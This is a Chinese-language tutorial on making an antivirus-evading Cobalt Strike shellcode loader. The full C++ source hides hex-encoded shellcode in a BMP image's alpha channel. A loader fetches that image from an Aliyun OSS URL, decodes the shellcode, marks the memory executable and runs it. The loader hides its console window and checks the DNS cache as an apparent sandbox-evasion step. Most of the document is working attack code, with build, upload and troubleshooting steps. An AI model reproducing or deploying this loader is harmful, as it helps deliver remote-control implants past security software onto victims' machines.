0x01 参考链接
- https://mp.weixin.qq.com/s/QZ5YlRZN47zne7vCzvUpJw
- https://www.t00ls.net/redirect-57618.html#lastpost
0x02 学习思路
改动:修改了原exe执行后存在控制台现象,目前是控制台自动消失后台静默执行
1. CS生成C的shellcode,使用Python进行Hex编码
2. 将Hex编码注入到bmp图片的文件头
3. 图片上传到公网,此处为阿里的对象存储oss里
3. 获得图片,解析出shellcode后执行
0x03 从0到1的前期准备
1. 安装Visual Studio 2019 ,这个需要些时间安装一些依赖库,推荐专业版,可以搜索安装教程照做即可
https://visualstudio.microsoft.com/zh-hans/vs/
https://www.cnblogs.com/hsjj/p/VisualStudio.html
2. 开通阿里云对象存储OSS服务
登录阿里云-控制台-对象存储-开通成功-创建Bucket(修改为公共读,其他默认)
3. CS生成shellcode,将payload.c里的shellcode使用python进行Hex编码
4. getImgshellcode.exe 做好生成准备,此exe功能是将shellcode注入bmp图片文件
Github:https://github.com/sv3nbeast/ImgLoaderShellCode
核心代码
#include "dwBmpSize.h"
#include <iostream>
using namespace std;
CBMPHide::CBMPHide()
{
sBmpFileName = "";
pBuf = 0;
dwBmpSize = 0;
ptxtBuf = 0;
pExEBuf = 0;
}
CBMPHide::~CBMPHide()
{
}
bool CBMPHide::setBmpFileName(char* szFileName)
{
this->sBmpFileName = szFileName;
if (pBuf) //如果已经生成就释放掉
{
delete[]pBuf;
}
HANDLE hfile = CreateFileA(szFileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0);
if (hfile == INVALID_HANDLE_VALUE)
{
return false;
}
//和struct BITMAPFILEHEADER bmfh里面的 bfSize的大小应该是一样的。
dwBmpSize = GetFileSize(hfile, 0); //获取文件的大小
pBuf = new byte[dwBmpSize + 83968];
DWORD dwRead = 0;
ReadFile(hfile, pBuf, dwBmpSize, &dwRead, 0);
if (dwRead != dwBmpSize)
{
delete[]pBuf;
pBuf = 0;
return false;
}
CloseHandle(hfile);
m_fileHdr = (BITMAPFILEHEADER*)pBuf;
m_infoHdr = (BITMAPINFOHEADER*)(pBuf + sizeof(BITMAPFILEHEADER));
return true; //成功话就是文件的内容读取到pBuf里面
}
int CBMPHide::getBmpWidth()
{
return m_infoHdr->biWidth;
}
int CBMPHide::getBmpHeight()
{
return m_infoHdr->biHeight;
}
int CBMPHide::getBmpBitCount()
{
return m_infoHdr->biBitCount;
}
bool CBMPHide::save()
{
string sDstFileName = "save.bmp";
HANDLE hfile = CreateFileA(sDstFileName.c_str(),
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
CREATE_ALWAYS, 0, 0);
if (hfile == INVALID_HANDLE_VALUE)
{
return false;
}
DWORD dwWritten = 0;
WriteFile(hfile, pBuf, dwBmpSize + 83968, &dwWritten, 0);
if (dwBmpSize != dwWritten)
{
return false;
}
CloseHandle(hfile);
return true;
}
//隐藏一个字符串到图片中,把字符串拆成字节,写入每个像素的alpha通道中
bool CBMPHide::hideString2BMP(char* szStr2Hide)
{
LPBYTE pAlpha = pBuf + m_fileHdr->bfOffBits + 3; //第一个像素的通道位置
//cout << pAlpha << endl;
int nHide; //成功隐藏的字节数
//每次循环写入一个字节,吸入alpha通道
//(pAlpha - pBuf) < m_fileHdr->bfSize这个是判断字符串是太大,图片不能隐藏
for (nHide = 0; (pAlpha - pBuf) < m_fileHdr->bfSize && szStr2Hide[nHide] != 0; nHide++, pAlpha += 4)
{
//cout << nHide << endl;
*pAlpha = szStr2Hide[nHide]; //写入一个字节
//cout << pAlpha << endl;
}
return true;
}
void CBMPHide::showStringInBmp(char* szBmpFIleName/*=NULL*/)
{
string sDstFileName = "save.bmp";
sDstFileName = szBmpFIleName;
HANDLE hfile = CreateFileA(sDstFileName.c_str(),
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING, 0, 0);
if (hfile == INVALID_HANDLE_VALUE)
{
return;
}
DWORD dwSize = GetFileSize(hfile, 0);
LPBYTE pBuf1 = new byte[dwSize];
DWORD dwRead = 0;
ReadFile(hfile, pBuf1, dwSize, &dwRead, 0);
CloseHandle(hfile);
//文件内容读取到pBuf1中
BITMAPFILEHEADER* pHdr = (BITMAPFILEHEADER*)pBuf1;
LPBYTE pStr = pBuf1 + pHdr->bfOffBits + 3;
char szTmp[1280];
RtlZeroMemory(szTmp, 1280);
for (int i = 0; i < 1280; i++)
{
if (*pStr == 0 || *pStr == 0xFF)
{
break;
}
szTmp[i] = *pStr;
pStr += 4;
}
printf_s(szTmp);
delete[]pBuf1;
}
int main(int argc, char* argv[])
{
if (argc < 2)
{
wprintf(L"Command: %S <SHELLCODE> ...\n", argv[0]);
return -1;
}
CBMPHide hide;
hide.setBmpFileName((char*)"test.bmp");
printf_s("test.bmp width:%d,height:%d,bitCount%d\n",
hide.getBmpWidth(),
hide.getBmpHeight(),
hide.getBmpBitCount());
char* shellcode = argv[1];
hide.hideString2BMP((char*)shellcode);
hide.save();
cout << shellcode << endl;
}
1. ShellcodeImg.exe 做好生成准备,此exe功能是获得远程图片,执行shellcode
Github:https://github.com/sv3nbeast/ImgLoaderShellCode
核心代码
#include <stdio.h>
#include <Windows.h>
#include <Winhttp.h>
#include <WinDNS.h>
#include <iterator>
#include <iostream>
#include <windows.h>
#include <WinDNS.h>
#include <string>
#include <vector>
#pragma comment(lib,"Winhttp.lib")
#pragma comment(lib,"urlmon.lib")
using namespace std;
struct CachedDnsRecord
{
wstring name;
int type;
};
#define INET_ADDRSTRLEN 22
#define INET6_ADDRSTRLEN 65
typedef void(*DownLoadCallback)(int ContentSize, int CUR_LEN);
typedef struct _URL_INFO
{
WCHAR szScheme[512];
WCHAR szHostName[512];
WCHAR szUserName[512];
WCHAR szPassword[512];
WCHAR szUrlPath[512];
WCHAR szExtraInfo[512];
}URL_INFO, * PURL_INFO;
void dcallback(int ContentSize, int file_size)
{
//printf("count:%d,size:%d\n", ContentSize, file_size);
}
void download(const wchar_t* Url, const wchar_t* FileName, DownLoadCallback Func)
{
URL_INFO url_info = { 0 };
URL_COMPONENTSW lpUrlComponents = { 0 };
lpUrlComponents.dwStructSize = sizeof(lpUrlComponents);
lpUrlComponents.lpszExtraInfo = url_info.szExtraInfo;
lpUrlComponents.lpszHostName = url_info.szHostName;
lpUrlComponents.lpszPassword = url_info.szPassword;
lpUrlComponents.lpszScheme = url_info.szScheme;
lpUrlComponents.lpszUrlPath = url_info.szUrlPath;
lpUrlComponents.lpszUserName = url_info.szUserName;
lpUrlComponents.dwExtraInfoLength =
lpUrlComponents.dwHostNameLength =
lpUrlComponents.dwPasswordLength =
lpUrlComponents.dwSchemeLength =
lpUrlComponents.dwUrlPathLength =
lpUrlComponents.dwUserNameLength = 512;
WinHttpCrackUrl(Url, 0, ICU_ESCAPE, &lpUrlComponents);
HINTERNET hSession = WinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_NO_PROXY, NULL, NULL, 0);
DWORD dwReadBytes, dwSizeDW = sizeof(dwSizeDW), dwContentSize, dwIndex = 0;
HINTERNET hConnect = WinHttpConnect(hSession, lpUrlComponents.lpszHostName, lpUrlComponents.nPort, 0);
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"HEAD", lpUrlComponents.lpszUrlPath, L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH);
WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
WinHttpReceiveResponse(hRequest, 0);
WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, NULL, &dwContentSize, &dwSizeDW, &dwIndex);
WinHttpCloseHandle(hRequest);
hRequest = WinHttpOpenRequest(hConnect, L"GET", lpUrlComponents.lpszUrlPath, L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH);
WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
WinHttpReceiveResponse(hRequest, 0);
BYTE* pBuffer = NULL;
pBuffer = new BYTE[dwContentSize];
ZeroMemory(pBuffer, dwContentSize);
do {
WinHttpReadData(hRequest, pBuffer, dwContentSize, &dwReadBytes);
Func(dwContentSize, dwReadBytes);
} while (dwReadBytes == 0);
//cout << pBuffer << endl;
BITMAPFILEHEADER* pHdr = (BITMAPFILEHEADER*)pBuffer;
LPBYTE pStr = pBuffer + pHdr->bfOffBits + 3;
char szTmp[1900];
RtlZeroMemory(szTmp, 1900);
for (int i = 0; i < 1900; i++)
{
if (*pStr == 0 || *pStr == 0xFF)
{
break;
}
szTmp[i] = *pStr;
pStr += 4;
}
unsigned int char_in_hex;
unsigned int iterations = strlen(szTmp);
unsigned int memory_allocation = strlen(szTmp) / 2;
VirtualProtect(szTmp, memory_allocation, PAGE_READWRITE, 0);
for (unsigned int i = 0; i < iterations / 2; i++) {
sscanf_s(szTmp + 2 * i, "%2X", &char_in_hex);
szTmp[i] = (char)char_in_hex;
}
void* abvc = VirtualAlloc(0, memory_allocation, MEM_COMMIT, PAGE_READWRITE);
memcpy(abvc, szTmp, memory_allocation);
DWORD ignore;
VirtualProtect(abvc, memory_allocation, PAGE_EXECUTE, &ignore);
(*(void(*)()) abvc)();
delete pBuffer;
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
}
typedef struct _DNS_CACHE_ENTRY
{
struct _DNS_CACHE_ENTRY* pNext; // Pointer to next entry
PWSTR pszName; // DNS Record Name
unsigned short wType; // DNS Record Type
unsigned short wDataLength; // Not referenced
unsigned long dwFlags; // DNS Record Flags
} DNSCACHEENTRY, * PDNSCACHEENTRY;
typedef int(WINAPI* DNS_GET_CACHE_DATA_TABLE)(PDNSCACHEENTRY);
vector<CachedDnsRecord> getDnsCache()
{
vector<CachedDnsRecord> results;
PDNSCACHEENTRY pEntry = (PDNSCACHEENTRY)malloc(sizeof(DNSCACHEENTRY));
HINSTANCE hLib = LoadLibrary(TEXT("DNSAPI.dll"));
DNS_GET_CACHE_DATA_TABLE DnsGetCacheDataTable =
(DNS_GET_CACHE_DATA_TABLE)GetProcAddress(hLib, "DnsGetCacheDataTable");
int stat = DnsGetCacheDataTable(pEntry);
pEntry = pEntry->pNext;
while (pEntry)
{
CachedDnsRecord record;
record.name = wstring(pEntry->pszName);
record.type = pEntry->wType;
results.push_back(record);
pEntry = pEntry->pNext;
}
free(pEntry);
if (!results.empty())
{
download(L"https://code.oss-cn-beijing.aliyuncs.com:80/save.bmp", L"1633Music", &dcallback);
}
else
{
exit(0);
}
return results;
}
int main()
{
HWND hwndDOS = GetForegroundWindow();
ShowWindow(hwndDOS, SW_HIDE);
auto cache = getDnsCache();
return 0;
}
0x04 开始运行
1. 将任意.bmp图片文件改成test.bmp放入生成的getImgshellcode.exe同目录,并且复制生成好的Hex编码后的shellcode,进行注入,同目录生成save.bmp
2. 上传save.bmp到阿里OSS里,点击上传的图片获得访问URL并复制
3. 生成ShellcodeImg.exe,先修改176行的图片地址为上步骤的URL在生成
4. 在公网vps模拟真实环境运行AV情况下执行ShellcodeImg.exe,并未遭到拦截,且成功执行命令
0x05 "可能"会有用的小知识
1. 如果想要在其他机器运行成功VS生成的exe时,生成时要选择Release,为了兼容性选择x86,然后生成即可
2. VS建造的项目文件夹都会存在.sln文件,双击.sln文件即可自动打开整个项目,还原项目本身
0x06 "可能"会遇到的问题
1. exe执行后无法正常上线,原因可能是填入图片URL的时候没有加入端口,导致并未成功下载图片解析,如图就是没有写端口导致运行时并未成功获得图片进行解析
正确:https://code.oss-cn-beijing.aliyuncs.com:80/save.bmp
错误:https://code.oss-cn-beijing.aliyuncs.com/save.bmp
- 【可改进的地方】: 现在的操作是运行exe后生成控制台然后关闭控制台操作,会有控制台闪一下然后消失的界面,过程虽然很快,但对配置低的机器还是有感的,如果添加运行exe后不出现控制台也就是不出现窗口直接隐藏后台静默执行的代码生成后会被AV检测查杀,希望以后有师傅进行改进吧 0.0 !
可能会有人感觉写得啰嗦~ 其实是因为本人也是自己学习,都是摸索着来,所以对一些 "坑" 的基础小问题很敏感,因为在完全不会的情况下遇到其实都还蛮懵的,同样问题对不同的人来说难度确实是不一样的,所以,我还是赶紧衮去继续学习吧